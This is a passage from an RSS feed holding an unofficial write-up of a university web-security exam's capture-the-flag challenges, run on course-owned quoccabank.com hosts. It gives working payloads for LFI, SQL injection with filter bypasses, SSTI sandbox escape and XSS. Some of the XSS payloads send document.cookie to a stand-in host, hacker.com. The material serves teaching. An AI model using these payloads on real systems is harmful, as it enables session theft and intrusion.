<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Blog</title>
    <link>https://adamyi.com/blog/?utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=blog_feed</link>
    <description>Thoughts, life, and technology</description>
    <pubDate>19 Sep 2020 00:00:00 GMT</pubDate>
    <lastBuildDate>19 Sep 2020 00:00:00 GMT</lastBuildDate>
    <generator>HandlebarsJS</generator>
    <image>
      <url>https://adamyi.com/images/favicon-32x32.png</url>
      <title>Blog</title>
      <link>https://adamyi.com/blog/?utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=blog_feed</link>
    </image>
    <atom:link href="https://adamyi.com/blog/rss.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>COMP6443/6843 20T2 Final Exam Solutions</title>
      <pubDate>19 Sep 2020 00:00:00 GMT</pubDate>
      <link>https://adamyi.com/blog/2020/09/comp6443-final?utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=blog_feed</link>
      <guid isPermaLink="true">https://adamyi.com/blog/2020/09/comp6443-final?utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=blog_feed</guid>
      <description>
        <![CDATA[
          <img src="https://ga-beacon.appspot.com/UA-88064834-2/blog/2020/09/comp6443-final?feed_type=rss&pixel">

        <h1 id="comp6443-6843-20t2-final-exam-solutions">COMP6443/6843 20T2 Final Exam Solutions</h1>
<p>It was a lot of fun running and writing infrastructure/challenges for <a href="https://webcms3.cse.unsw.edu.au/COMP6443/20T2/">COMP6443/6843</a>, <a href="https://unsw.edu.au">UNSW</a> and <a href="https://sec.edu.au/">SECedu</a>&#39;s Web Application Security course. <a href="https://github.com/adamyi/CTFProxy">CTFProxy</a> worked really well to support our 100+ containers.</p>
<p>Since <a href="https://solutions.quoccabank.com">solutions.quoccabank.com</a> will go down shortly after the course ends, here&#39;s an <strong>unofficial</strong> write-up for the final exam (solutions for fortnightly challenges are only released internally, in an attempt to prevent future plagiarism).</p>
<p>Different from other blog posts, this write-up is released under <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/legalcode">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License (CC BY-NC-SA 4.0)</a>. Unless otherwise stated, all code snippets here are open-sourced under <a href="https://www.apache.org/licenses/LICENSE-2.0.txt">Apache 2.0 License</a>.</p>
<p>I won&#39;t be answering questions regarding this unofficial write-up <del>because I&#39;m lazy</del>. If you are a student, please post your questions on Slack so other students can answer it and also learn from your questions.</p>
<h2 id="exam-paper">Exam Paper</h2>
<p>The paper was served on <a href="https://final.quoccabank.com">final.quoccabank.com</a>. A copy is available to the public after the course ends <a href="/blog/files/2020/09/comp6443_20t2_final.pdf">here</a></p>
<p>This was a 4-hour exam.</p>
<h2 id="challenge-authors">Challenge Authors</h2>
<p>A huge thank you to my fellow course staff for putting together the exam!</p>
<p><strong>Section 1 (trivial warm-up)</strong></p>
<ul>
<li>qasa: <a href="https://acsmallhorn.com/">Adam Smallhorn</a></li>
<li>pds: <a href="https://acsmallhorn.com/">Adam Smallhorn</a></li>
<li>products: <a href="https://www.linkedin.com/in/varun-chandramohan-8063686">Varun Chandramohan</a> and <a href="https://www.adamyi.com">Adam Yi</a></li>
<li>logmein: <a href="https://www.linkedin.com/in/createremotethread">Norman Yue</a></li>
<li>poemportal: <a href="https://twitter.com/abhijeth">Abhijeth Dugginapeddi</a></li>
</ul>
<p><strong>Section 2</strong></p>
<ul>
<li>QuoccaOS: <a href="https://www.adamyi.com">Adam Yi</a></li>
</ul>
<h2 id="marking-methodology-and-mark-distribution">Marking Methodology and Mark Distribution</h2>
<p>I&#39;m a huge believer in numbers so I took a purely applied math/statistics approach in marking. Check <a href="https://webcms3.cse.unsw.edu.au/COMP6443/20T2/notices/">my announcements on WebCMS3</a> if you&#39;re interested.</p>
<h2 id="unofficial-solutions">Unofficial Solutions</h2>
<h3 id="qasa">qasa</h3>
<p>Trivial recon challenge.</p>
<p><img src="/blog/images/2020/09/qasa.png" alt="screenshot"></p>
<ul>
<li><strong>Flag 1</strong> (naive IDOR): observe that 3.jpg and 5.jpg are missing from the gallery. Visiting /img/5.jpg yields a flag</li>
<li><strong>Flag 2</strong>: base64-encoded recon flag in HTTP response header</li>
<li><strong>Flag 3</strong>: Follow <code>Disallow: /8fda877f-38c4-4b1f-96b5-2d35f64220ba.php</code> in <code>robots.txt</code></li>
<li><strong>Flag 4</strong>: There&#39;s a reversed flag in the cookie</li>
</ul>
<h3 id="pds">pds</h3>
<p>Trivial LFI (Local File Inclusion) challenge.</p>
<p><img src="/blog/images/2020/09/pds.png" alt="screenshot"></p>
<p>The PDS PDFs are served with <code>/file.php</code> endpoint, e.g. <code>/file.php?name=anz-v2.pdf</code>. We can inject the file path here.</p>
<ul>
<li><strong>Flag 1</strong>: there&#39;s a free flag laying there in the HTML source code of <code>/index.php</code></li>
<li><strong>Flag 2</strong>: source code uses test.txt as an example. Visit <code>/file.php?name=test.txt</code></li>
<li><strong>Flag 3</strong>: source code refers to developers moving old PDFs to parent directory. Visit <code>/file.php?name=../cba-v2.pdf</code></li>
<li><strong>Flag 4</strong>: <code>/file.php?name=../../.htaccess</code></li>
<li><strong>Flag 5</strong>: <code>/file.php?name=../../file.php</code></li>
<li><strong>Flag 6</strong>: <code>/file.php?name=../../.logs.txt</code> (found in <code>robots.txt</code>)</li>
<li><strong>Flag 7</strong>: <code>/file.php?name=../../../../etc/passwd</code></li>
</ul>
<h3 id="products">products</h3>
<p>CSP Injection -&gt; XSS</p>
<p><img src="/blog/images/2020/09/products.png" alt="screenshot"></p>
<p>Use <code>&lt;b&gt;test&lt;/b&gt;</code> to test. The search query is bolded - we have reflected XSS!</p>
<p>Note that this page is protected by CSP (Content-Security Policy):</p>
<pre><code>    &lt;meta
      http-equiv=&quot;Content-Security-Policy&quot;
      content=&quot;
    default-src &#39;self&#39;;
    script-src &#39;nonce-661d93e0779b4a0fb8e5015c2f7c4ae1&#39;;
    img-src https://products.quoccabank.com/favicon.ico https://products.quoccabank.com/images/qb.svg;
    style-src https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css;&quot;
    /&gt;
</code></pre><p>The input form offers the capability to change logo:</p>
<pre><code>&lt;!-- boss told me we should have eastern eggs. there&#39;s not enough memes @quoccabank. did you know we also have /images/quocca.jpg --&gt;
&lt;input type=&quot;hidden&quot; name=&quot;logo&quot; value=&quot;/images/qb.svg&quot; /&gt;
</code></pre><p>If we change this to <code>/images/quocca.jpg</code>, the <code>img-src</code> in CSP gets modified to <code>img-src https://products.quoccabank.com/favicon.ico https://products.quoccabank.com/images/quocca.jpg;</code>. This means it&#39;s potentially vulnerable to injection.</p>
<p>Since <code>script-src</code> already exists before the <code>img-src</code> directive. We can&#39;t override <code>script-src</code>, but we can modify the new and more specific <code>script-src-attr</code> directive.</p>
<p>Some bad words are also filtered (but only removed by scanning once in the reflected query), but we can easily bypass this. E.g., if <code>script</code> is removed, we can use <code>scriscriptpt</code> to get <code>script</code>.</p>
<p>Final payload:</p>
<pre><code>logo: ; script-src-attr &#39;unsafe-inline&#39;; connect-src: https:;
search: &lt;img src=x ononerrorerror=fetch(&#39;https://hacker.com/&#39;+document.cookie)&gt;
</code></pre><p>Report page to admin and profit :)</p>
<h3 id="logmein">logmein</h3>
<p>Trivial crypto (since we didn&#39;t really cover any advanced crypto algorithms and vulnerabilities in the lecture)</p>
<pre><code>&lt;h2&gt;I like logging in.&lt;/h2&gt;

&lt;form action=&quot;/&quot; method=&quot;POST&quot;&gt;
&lt;table&gt;
&lt;tr&gt;
  &lt;td&gt;Username&lt;/td&gt;&lt;td&gt;&lt;input name=&quot;username&quot; type=&quot;text&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td&gt;Password&lt;/td&gt;&lt;td&gt;&lt;input name=&quot;password&quot; type=&quot;text&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;input type=&quot;submit&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;/form&gt;

&lt;!-- Stuck? What do you think might be the password for an account called &quot;admin&quot;? --&gt;
</code></pre><ul>
<li><strong>Flag 1</strong> (weak credentials): login with <code>admin/admin</code>. This gives us first flag and <code>Great job. The password hash of the second user, flag2, is 797cb93f8b1159e6dc68b2b7fddd6c55. Can you find the second flag?</code></li>
<li><strong>Flag 2</strong>: Brute-force that hash (or just google it). It&#39;s md5 of <code>Password01</code>. Logging in with <code>flag2/Password01</code> yields second flag and <code>Now, try to log in as flag3. The password is a string, where md5(string) begins with XXXXXX</code>. XXXXXX is a randomly-generated 6-char string.</li>
</ul>
<p><code>flag3</code> actually accepts any string that results in the correct md5 prefix, not a fixed password. It&#39;s trivial to write a hash collision program.</p>
<pre class="prettyprint">
package main

import (
    "crypto/md5"
    "encoding/hex"
    "fmt"
    "strconv"
    "strings"
)

func main() {
    i := 0
    for {
        i += 1
        s := strconv.Itoa(i)
        m := md5.Sum([]byte(s))
        mm := m[:]
        h := hex.EncodeToString(mm)
        if strings.HasPrefix(h, "e9e781") {
            fmt.Println(s)
            fmt.Println(h)
            break
        }
    }
}
</pre>

<p>And we login with <code>flag3</code> to get the final flag.</p>
<h3 id="poemportal">poemportal</h3>
<p>Simple recon</p>
<p>Abhi disabled right-click with javascript... This is lame.</p>
<p>Anyway, this is in the source code:</p>
<pre><code>&lt;!-- Attackers used JavaScript to restrict access. Such a shame. They also use services like pastebin/github to share secret information. Use your Google hacking skills. Code word: mKLMd9mJ March 15, 2019 --&gt;
&lt;!-- COMP6443FINAL{maythesourcebewithyou.ejUyMzE1MjE=.jWiWEs8jixUHOzlAGQrliQ==}  --&gt;
</code></pre><p>A simple google search gives us <a href="https://pastebin.com/mKLMd9mJ">https://pastebin.com/mKLMd9mJ</a> with 2 flags.</p>
<p><code>robots.txt</code> also leaks <code>/admin/</code> path. It says in the comment:</p>
<pre><code>&lt;!-- You must be used to looking at page source by now!! This is to emphasize that client side validation is BAD. To build this login page, Abhijeth used an opensource project thanks to @mariofont. Looks like Abhijeth found some issues too. Use your recon skills --&gt;
</code></pre><p>Google searching <code>mariofont php</code> gives us <a href="https://github.com/mariofont/PHP-Login">https://github.com/mariofont/PHP-Login</a>. There&#39;s a flag in GitHub issue #8. The issue also mentions <code>Good job on using the php_hash function. The PHP standard documentation talks a lot about how to implement it. It also has some sample passwords.</code></p>
<p>Logging in with default password listed on <a href="https://www.php.net/manual/en/function.password-verify.php">https://www.php.net/manual/en/function.password-verify.php</a> gives us the final flag.</p>
<h3 id="quoccaos-section-2-">QuoccaOS (Section 2)</h3>
<p>This is a single-page javascript app written built with Google JSCompiler.</p>
<p><img src="/blog/images/2020/09/qos.png" alt="screenshot"></p>
<pre><code>&lt;html&gt;
  &lt;!--
    I see you&#39;ve reached the final challenge of the exam. Nice work!
    This huge bloated application was created totally not because i&#39;m procrastinating to prepare for my aos exam...
    It has 4 apps with no way to switch back to main menu. Nor does it support concurrent/background userland programs
    because wHaT iS CoNteXT SwItCH, NeVeR HEarD oF iT, and this is JaVaScRiPt
    https://www.reddit.com/r/programminghumor/comments/d0kb4e/my_favourite_language/
    I&#39;m told we should be nice to students so I enabled debug logging
    Enjoy :)
  --&gt;
  &lt;head&gt;
    &lt;script src=&quot;/qos.js&quot;&gt;&lt;/script&gt;
    &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;/qos.css&quot; /&gt;
    &lt;title&gt;QuoccaOS&lt;/title&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;div id=&quot;qos-wallpaper&quot;&gt;&lt;/div&gt;
    &lt;div id=&quot;qos-container&quot;&gt;&lt;/div&gt;
    &lt;script&gt;
      com.quoccabank.qos.init();
    &lt;/script&gt;
  &lt;/body&gt;
&lt;/html&gt;
</code></pre><h4 id="some-recon-to-begin-with">Some recon to begin with</h4>
<p>You can find a copy of the <code>qos.js</code> <a href="https://gist.github.com/adamyi/2e27c6b685bf97df572b5f9524520125">here</a></p>
<p>There&#39;s a trivial recon flag at the bottom of the javascript file.</p>
<p>This is the content of <code>/robots.txt</code>:</p>
<pre><code># secret portal
User-agent: *
Disallow: /admin

# debug
User-agent: *
Disallow: /debug/pprof

# bad people
User-agent: nsa
Disallow: /

# good people
User-agent: richard
Allow: /
User-agent: adamyi
Allow: /
User-agent: norman
Allow: /
</code></pre><p>Visiting <code>/admin</code> gives us this:</p>
<pre><code>&lt;form method=&quot;POST&quot;&gt;
  Please enter secret portal password (this is long and not intended for brute
  force):
  &lt;!-- SREs: configure this password in the new added cli flag -secret_portal_password --&gt;
  &lt;input type=&quot;password&quot; name=&quot;pwd&quot; /&gt;
  &lt;input type=&quot;submit&quot; /&gt;
&lt;/form&gt;
</code></pre><p>We don&#39;t know the password, so moving on.</p>
<p>Visiting <code>/debug/pprof</code> yields 403 with <code>have you tried being a better hacker</code> message, hinting that this can be bypassed.</p>
<p><img src="/blog/images/2020/09/qos_403.png" alt="have you tried being a better hacker"></p>
<p>In fact, it&#39;s just a trivial boolean <code>debug</code> value in the cookie. Change it from <code>0</code> to <code>1</code> to gain access. This gives us a golang debug/pprof profiling page with a flag</p>
<p><img src="/blog/images/2020/09/qos_pprof.png" alt="pprof"></p>
<p>There are some interesting things found in the debug info. In goroutine stacktrace, we can find:</p>
<pre><code>1 @ 0x4389c0 0x4078e7 0x4075ab 0x9102dd 0x4680e1
#    0x9102dc    main.serve_qos_dot_quoccabank_dot_com_slash_lmaolmaolmaolmaolmao+0x4c    challenges/final/qos/main.go:70
</code></pre><p>There&#39;s a flag on <a href="https://qos.quoccabank.com/lmaolmaolmaolmaolmao">https://qos.quoccabank.com/lmaolmaolmaolmaolmao</a></p>
<p>We can also find the command line arguments used to invoke the server:</p>
<pre><code>/app/challenges/final/qos/image.binary�-listen�0.0.0.0:80�-jwt_public_key�jwtkeys/jwt.pub�-secret_portal_password�what_could_possibly_go_wrong�-profile_renderer�challenges/final/qos/renderer�-profile_data�/data/profile/�-profile_render_timeout�2s
</code></pre><p>With this, we know the password is <code>what_could_possibly_go_wrong</code> and we can now login to <code>/admin/</code> to get a flag.</p>
<h4 id="login">Login</h4>
<p>If you try to login to qos, you&#39;ll see that it prompts wrong password without sending any request to the server so the password is verified on front-end.</p>
<p>Tracing through the source code, we can find this logic here:</p>
<pre class="prettyprint">
function kf() {
    var a = bc(H("k-l"))
      , b = new Gc;
    b.c(a);
    a = Ob(b.j());
    "8f60992665ca6329da8bb3422b576de0" != a ? (K(hf, "password md5 check failed"),
    lf()) : (L(hf, "password is correct"),
    b = new xe,
    ue(b, 2, a),
    Fe(b, function(c, d) {
        c ? (K(hf, "login failed"),
        lf()) : (L(hf, Y(d, 2)),
        alert(Y(d, 2) + " (protip: you can copy this from console)"),
        ff())
    }))
}
</pre>

<p>You don&#39;t have to brute-force this hash (it&#39;s not easily brute-forceable). Instead, just set a breakpoint here and modify <code>a</code>&#39;s value during runtime. It sends hashed password to the server and this gives you second flag.</p>
<p>If you can&#39;t figure this out, the <code>Guest Login</code> button lets you log in without giving you this flag.</p>
<p>After logging in, there&#39;s an app selection screen with 4 apps.</p>
<p><img src="/blog/images/2020/09/qos_apps.png" alt="app launcher"></p>
<h4 id="lfi-local-file-inclusion-">LFI (Local File Inclusion)</h4>
<p>Take the app image of handbook v1 as an example, its URL is <a href="https://qos.quoccabank.com/api/getappimage?f=handbookv1.png&amp;signature=e0d5d92b7b808beead1cb3335b2e037cd2e79427">https://qos.quoccabank.com/api/getappimage?f=handbookv1.png&amp;signature=e0d5d92b7b808beead1cb3335b2e037cd2e79427</a>. This makes people wonder if it&#39;s vulnerable to LFI, but first we need to reverse the signature algorithm.</p>
<p>This can be found in the source code:</p>
<pre><code>function ef(a, b) {
    var c = df++
      , d = a.toLowerCase().replace(new RegExp(&quot; &quot;.replace(/([-()\[\]{}+?*.$\^|,:#&lt;!\\])/g, &quot;\\$1&quot;).replace(/\x08/g, &quot;\\x08&quot;),&quot;g&quot;), &quot;&quot;.replace(/\$/g, &quot;$$$$&quot;)) + &quot;.png&quot;
      , f = new Zc;
    f.c(d);
    f.c(&quot;_this_is_my_secret_salt&quot;);
    f = Ob(f.j());
    return {
        id: c,
        name: a,
        image: &quot;/api/getappimage?f=&quot; + d + &quot;&amp;signature=&quot; + f,
        $: b
    }
}
</code></pre><p>You can create your own <code>Zc</code> object and call <code>.c</code> method to sign your own signature, or just try signing a simple string like <code>test</code> to fingerprint the algorithm. It turns out that it&#39;s just a simple <code>sha1(filename+&quot;_this_is_my_secret_salt&quot;)</code></p>
<p>With this, we can leak the content of the following files:</p>
<pre><code>&gt; https://qos.quoccabank.com/api/getappimage?f=../etc/passwd&amp;signature=a8987fc83129fd881d84511e3501951b91d8c8dc
root:x:0:0:root:/root:/bin/bash
adamyi:x:0:0:COMP6443FINAL{CAN_WE_PORT_APP_STORE_TO_QOS_PLEASE.ejUyMzE1MjE=.7wBG2RkFiKbVVX9eBQFhfg==}:/home/adamyi:/bin/bash

&gt; https://qos.quoccabank.com/api/getappimage?f=../etc/hosts&amp;signature=7c5393fb2de9abb095fa63f4d2543d113607af94
127.0.0.1    qos.quoccabank.com qos localhost localhost.localdomain

# dev
127.0.0.1    qos-v2-dev-syd.quoccabank.com

&gt; https://qos.quoccabank.com/api/getappimage?f=../root/.bash_history&amp;signature=bc0d3b2a2640c0396fa0419964479265ce8b1e31
su adamyi

&gt; https://qos.quoccabank.com/api/getappimage?f=../home/adamyi/.bash_history&amp;signature=c42ac3a2ac87747b424e59bef578c1ae21600c37
wget https://qos.quoccabank.com/adamyi_backup.zip
</code></pre><p>Visiting <a href="https://qos-v2-dev-syd.quoccabank.com">https://qos-v2-dev-syd.quoccabank.com</a> gives us another flag.</p>
<p>Download <code>adamyi_backup.zip</code> and it turns out to be an encrypted zip file. A simple google search tells us we can use john the ripper to brute-force its password, which turns out to be <code>12345</code></p>
<h4 id="handbook-v1-union-based-sql-injection-">handbook v1 (UNION-based SQL injection)</h4>
<p><img src="/blog/images/2020/09/qos_handbook.png" alt="handbook"></p>
<p>Handbook is a simple service that allows you to search for computer science courses at UNSW.</p>
<p>Using a <code>&#39;</code> as query and we&#39;ll get this error: <code>Error 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near &#39;%&#39; OR id LIKE &#39;%&#39;%&#39;&#39; at line 1</code> so this is vulnerable to SQL injection.</p>
<p>The system also replaces <code></code> (space) to <code>NOSPACE</code> and <code>/**/</code> to <code>/BADHACKER/</code>. One can easily bypass this by substituting spaces with <code>/*a*/</code>.</p>
<p>Query <code>INFORMATION_SCHEMA</code> to get table schema. There are many fake flags in the <code>secrets</code> table, with one real flag.</p>
<p>Final payload:</p>
<pre><code>&#39;/*a*/UNION/*a*/SELECT/*a*/1,secret/*a*/FROM/*a*/secrets/*a*/WHERE/*a*/secret/*a*/NOT/*a*/LIKE/*a*/&#39;%not-a-real%&#39;#
</code></pre><h4 id="handbook-v2-boolean-based-sql-injection-">handbook v2 (boolean-based SQL injection)</h4>
<p>An upgraded version of handbook, with its api served over <a href="https://qos-handbook-v2.quoccabank.com/">https://qos-handbook-v2.quoccabank.com/</a> instead of <a href="https://qos-handbook-v1.quoccabank.com/">https://qos-handbook-v1.quoccabank.com/</a></p>
<p><code>https://qos-handbook-v2.quoccabank.com/?query=algorithm</code> 302 redirects to <code>https://qos-handbook-v2.quoccabank.com/?query=algorithm&amp;order_by=id</code></p>
<p>We can no longer inject <code>query</code> but we can inject <code>order_by</code></p>
<pre><code>https://qos-handbook-v2.quoccabank.com/?query=algorithm&amp;order_by=a

{&quot;courses&quot;:[{&quot;id&quot;:&quot;ERROR00&quot;,&quot;title&quot;:&quot;Error 1054: Unknown column &#39;a&#39; in &#39;order clause&#39;&quot;},{&quot;id&quot;:&quot;PROTIP&quot;,&quot;title&quot;:&quot;To save you some time, the db schema is the same as v1, and there&#39;s no more troll flags i promise&quot;}],&quot;success&quot;:0}
</code></pre><p>We can use boolean-based injection here.</p>
<ul>
<li>To confirm flag exists: <code>https://qos-handbook-v2.quoccabank.com/?query=&amp;order=if((select(count(1))/*a*/from/*a*/secrets/*a*/where/*a*/secret/*a*/not/*a*/like/*a*/%27%25not-a-real-flag%25%27)=1,id,title)</code></li>
<li>To exfiltrate flag character by character: <code>https://qos-handbook-v2.quoccabank.com/?query=&amp;order=if((select(substr(secret,1,14))/*a*/from/*a*/secrets/*a*/where/*a*/secret/*a*/not/*a*/like/*a*/%27%25not-a-real-flag%25%27)=%27COMP6443FINAL{%27,id,title)</code></li>
</ul>
<p>It&#39;s now trivial to write a binary search script.</p>
<h4 id="profile-ssti-xss-">Profile (SSTI -&gt; XSS)</h4>
<p><img src="/blog/images/2020/09/qos_profile.png" alt="profile"></p>
<p>A straight-forward Server-Side Template Injection (SSTI) challenge without any filters.</p>
<p><strong>SSTI</strong></p>
<p>Use <code>{{ config }}</code> to dump Flask config and this contains a flag and the location of the next flag:</p>
<pre><code>&lt;Config {&#39;JSON_AS_ASCII&#39;: True, &#39;USE_X_SENDFILE&#39;: False, &#39;SESSION_COOKIE_SECURE&#39;: False, &#39;SESSION_COOKIE_PATH&#39;: None, &#39;SESSION_COOKIE_DOMAIN&#39;: None, &#39;SESSION_COOKIE_NAME&#39;: &#39;session&#39;, &#39;MAX_COOKIE_SIZE&#39;: 4093, &#39;SESSION_COOKIE_SAMESITE&#39;: None, &#39;PROPAGATE_EXCEPTIONS&#39;: None, &#39;ENV&#39;: &#39;production&#39;, &#39;DEBUG&#39;: False, &#39;SECRET_KEY&#39;: &quot;nice try! COMP6443FINAL{I_HEARD_YOU_COMPLAINING_THERE_IS_NO_SSTI_CHALLENGE_DURING_LECTURE_SO_HERE_YOU_GO.ejUyMzE1MjE=.SSBJHOxdKs4RKWS1Ycq7JQ==} there is another flag in flag.txt - go read it. this is a sandboxed environment - changes to any python struct will not be persistent across requests and you won&#39;t be able to read any files other than flag.txt.&quot;, &#39;EXPLAIN_TEMPLATE_LOADING&#39;: False, &#39;MAX_CONTENT_LENGTH&#39;: None, &#39;APPLICATION_ROOT&#39;: &#39;/&#39;, &#39;SERVER_NAME&#39;: None, &#39;PREFERRED_URL_SCHEME&#39;: &#39;http&#39;, &#39;JSONIFY_PRETTYPRINT_REGULAR&#39;: False, &#39;TESTING&#39;: False, &#39;PERMANENT_SESSION_LIFETIME&#39;: datetime.timedelta(31), &#39;TEMPLATES_AUTO_RELOAD&#39;: None, &#39;TRAP_BAD_REQUEST_ERRORS&#39;: None, &#39;JSON_SORT_KEYS&#39;: True, &#39;JSONIFY_MIMETYPE&#39;: &#39;application/json&#39;, &#39;SESSION_COOKIE_HTTPONLY&#39;: True, &#39;SEND_FILE_MAX_AGE_DEFAULT&#39;: datetime.timedelta(0, 43200), &#39;PRESERVE_CONTEXT_ON_EXCEPTION&#39;: None, &#39;SESSION_REFRESH_EACH_REQUEST&#39;: True, &#39;TRAP_HTTP_EXCEPTIONS&#39;: False}&gt;
</code></pre><p>Dump content of <code>flag.txt</code> with the following payload:</p>
<pre><code>{{ config.items()[4][1].__class__.__mro__[1].__subclasses__()[40](&quot;flag.txt&quot;).read() }}
</code></pre><p><strong>XSS</strong></p>
<p>You can also report your profile to admin and there is a <code>profile_flag</code> cookie, hinting that this is also vulnerable to cross-site scripting (XSS).</p>
<p>Try with <code>&lt;script&gt;alert(1);&lt;/script&gt;</code>, but it doesn&#39;t work! It&#39;s escaped. We got <code>&lt;div class=&quot;r-s&quot;&gt;&amp;lt;script&amp;gt;alert(1);&amp;lt;/script&amp;gt;&lt;/div&gt;</code> displayed on the page.</p>
<p>Let&#39;s take a step back and trace through the code to render profile:</p>
<pre><code>...
function Oe() {
    for (var a = bc(H(&quot;r-t&quot;)), b = new we, c = [], d = 0, f = 0; f &lt; a.length; f++) {
        var g = a.charCodeAt(f);
        255 &lt; g &amp;&amp; (c[d++] = g &amp; 255,
        g &gt;&gt;= 8);
        c[d++] = g
    }
    a = new Uint8Array(c);
    ue(b, 1, a);
    He(b)
}
...
function He(a) {
    Ie.a.I(&quot;/rpc/qos.QuoccaOS/SetProfile&quot;, a, {}, Ge, Je)
}
...
function Pc(a) {
    if (null == a || a.G !== Jc)
        if (a instanceof B) {
            var b = N;
            if (a instanceof B &amp;&amp; a.constructor === B &amp;&amp; a.c === Za)
                var c = a.b;
            else
                v(&quot;expected object of type SafeHtml, got &#39;&quot; + a + &quot;&#39; of type &quot; + q(a)),
                c = &quot;type_error:SafeHtml&quot;;
            a = b(c.toString(), a.a())
        } else
            a = N($a(String(String(a))), Oc(a));
    return a
}
function Je(a, b) {
    ...
    a = Qb(&quot;qos-container&quot;);
    ...
    d = &#39;&lt;div class=&quot;&#39; + O(&quot;r-b&quot;) + &#39;&quot;&gt;&lt;h1&gt;Your profile&lt;/h1&gt;&lt;div class=&quot;&#39; + O(&quot;r-s&quot;) + &#39;&quot;&gt;&#39; + Pc(d) + &#39;&lt;/div&gt;&lt;hr&gt;&lt;textarea class=&quot;&#39; + O(&quot;r-t&quot;) + &#39;&quot; rows=&quot;3&quot;&gt;&#39;;
    ...
    b = b(d + c + &#39;&lt;/textarea&gt;&lt;br&gt;&lt;button class=&quot;&#39; + O(&quot;v-w&quot;) + &quot; &quot; + O(&quot;r-edit&quot;) + &#39;&quot;&gt;Save&lt;/button&gt;&lt;button class=&quot;&#39; + O(&quot;v-w&quot;) + &quot; &quot; + O(&quot;r-recommend&quot;) + &#39;&quot;&gt;Recommend my profile to admin&lt;/button&gt;&lt;/div&gt;&#39;);
    a.innerHTML = b;
    J(H(&quot;r-edit&quot;), &quot;click&quot;, Oe);
    ...
...
}
</code></pre><p>The edit button sends template to <code>qos.QuoccaOS/SetProfile</code> RPC. The returned result is directly added to DOM tree by setting <code>innerHTML</code> of <code>qos-container</code>.</p>
<p>As mentioned in the prompt, QOS backend does escape the input. However note that the escape is done before sending to Jinja2. We can know this because Jinja2 automatically escape special characters by default, escaping after Jinja2 templating would cause double escaping. We can use the <code>| safe</code> pipe in Jinja2 to disable its escaping behaviour.</p>
<p>Now the question becomes, how do we get <code>&lt;</code> and <code>&gt;</code> characters in Jinja2&#39;s Python variables. We can&#39;t provide <code>&lt;</code> or <code>&gt;</code> in our input because it gets escaped and replaced before sending to Jinja2 (we can further verify this is the case with something like <code>{{&#39;&lt;&#39;|length}}</code> which returns 4).</p>
<p>Recall that in our dumped Flask config, the config struct begins and ends with angle brackets. Look at the list of supported filters in Jinja2 <a href="https://jinja.palletsprojects.com/en/2.10.x/templates/#builtin-filters">here</a>. Some are particularly interesting:</p>
<ul>
<li><strong>string(object)</strong>: Make a string unicode if it isn’t already. That way a markup string is not converted back to unicode.</li>
<li><strong>safe(value)</strong>: Mark the value as safe which means that in an environment with automatic escaping enabled this variable will not be escaped.</li>
<li><strong>truncate(s, length=255, killwords=False, end=&#39;...&#39;, leeway=None)</strong>: Return a truncated copy of the string.</li>
<li><strong>reverse(value)</strong>: Reverse the object or return an iterator that iterates over it the other way round.</li>
</ul>
<p>We can cast the config struct to a string and truncate it to get angel brackets! Specifically, we can use <code>{{ config | string | truncate(1,True,&#39;&#39;) | safe }}</code> to get a raw <code>&lt;</code> and <code>{{ config | string | reverse | truncate(1,True,&#39;&#39;) | safe }}</code> to get a raw <code>&gt;</code>.</p>
<p>The remaining tasks now become staight-forward and obvious.</p>
<p>We can use <code>{{ config | string | truncate(1,True,&#39;&#39;) | safe }}script{{ config | string | reverse | truncate(1,True,&#39;&#39;) | safe }}alert(1);{{ config | string | truncate(1,True,&#39;&#39;) | safe }}/script{{ config | string | reverse | truncate(1,True,&#39;&#39;) | safe }}</code> to insert an unescaped <code>script</code> tag to the page, but this won&#39;t be executed as javascript because the DOM tree was already rendered.</p>
<p>Instead, we can use <code>&lt;img src=x onerror=alert(1)&gt;</code> to execute javascript.</p>
<p>Final payload: <code>{{ config | string | truncate(1,True,&#39;&#39;) | safe }}img src=x onerror=fetch(&#39;https://hacker.com/&#39;+document.cookie){{ config | string | reverse | truncate(1,True,&#39;&#39;) | safe }}</code></p>
<p>Report to admin and we get a flag</p>
<h4 id="tic-tac-toe">Tic Tac Toe</h4>
<p><img src="/blog/images/2020/09/qos_tictactoe.png" alt="tictactoe"></p>
<p>A simple <a href="https://en.wikipedia.org/wiki/Tic-tac-toe">Tic-Tac-Toe</a> game served over <a href="https://en.wikipedia.org/wiki/WebSocket">WebSocket</a>.</p>
<p>Moves and results are sent in JSON.</p>
<p><img src="/blog/images/2020/09/qos_websocket.png" alt="websocket traffic"></p>
<p>The attack surface is rather small. Let&#39;s see if we can crash the server with invalid input.</p>
<p>To modify the websocket requests, one can set up a MiTM proxy (e.g., with Burp Suite), write your own client script, or just add a javascript breakpoint and modify QuoccaOS runtime variables.</p>
<pre class="prettyprint">
Te.prototype.c = function() {
    L(Se, "making move " + this.x + " " + this.y);
    if (this.a.classList.contains("x-y-z")) {
        var a = this.b
          , b = ed({
            x: this.x,
            y: this.y,
            p: a.f
        });
        a.a.m.send(b) // this is where you want to set a breakpoint
    } else
        L(Se, "no longer clickable")
}
;
</pre>


<p>Forge <code>{&quot;x&quot;:4,&quot;y&quot;:4,&quot;p&quot;:&quot;O&quot;}</code> to the server (position out of board boundary) and we get:</p>
<pre class="prettyprint">
// qos.js:formatted:849  [369.096s] [com.quoccabank.qos.tictactoe] stack trace is hard so here's the source code:
// rip mdn (https://twitter.com/SteveALee/status/1293487542382333952)
